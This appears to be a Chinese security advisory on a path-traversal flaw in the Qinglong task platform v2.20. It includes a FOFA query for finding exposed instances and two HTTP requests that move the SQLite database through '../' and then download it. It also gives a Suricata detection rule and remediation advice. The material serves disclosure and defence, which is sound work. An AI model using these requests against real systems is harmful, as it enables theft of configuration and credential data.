青龙定时任务管理平台rename逻辑缺陷漏洞¶

青龙定时任务管理平台rename逻辑缺陷漏洞，导致web系统配置文件泄露被盗窃。

影响版本¶

青龙定时任务管理平台v2.20

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="./umi.a4d14b92.css"

POC/EXP：

PUT /Api/scripts/rename HTTP/1.1
Host:  127.0.0.1
Content-Type: application/json
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

{
  "path": "../db/",
  "filename": "database.sqlite",
  "newFilename": "../scripts/hacked_db.sqlite"
}

POST /Api/scripts/download HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

{
  "path": "",
  "filename": "hacked_db.sqlite"
}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"青龙定时任务管理平台 - Path Traversal via rename API";
    flow:to_server,established;
    http.method; content:"PUT";
    http.uri; content:"/Api/scripts/rename";
    http.header; content:"Content-Type: application/json";
    http.request_body; pcre:"/\"path\":\"\\.\\.\\/db\\/\"/i";
    http.request_body; pcre:"/\"newFilename\":\"\\.\\.\\/scripts\\/[^\\\"]*\\\\.sqlite\"/i";
    metadata:
        service http,
        affected_product "青龙定时任务管理平台",
        vulnerability_type "Path Traversal Vulnerability",
        severity "high";
    classtype:web-application-attack;
    sid:1000606;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。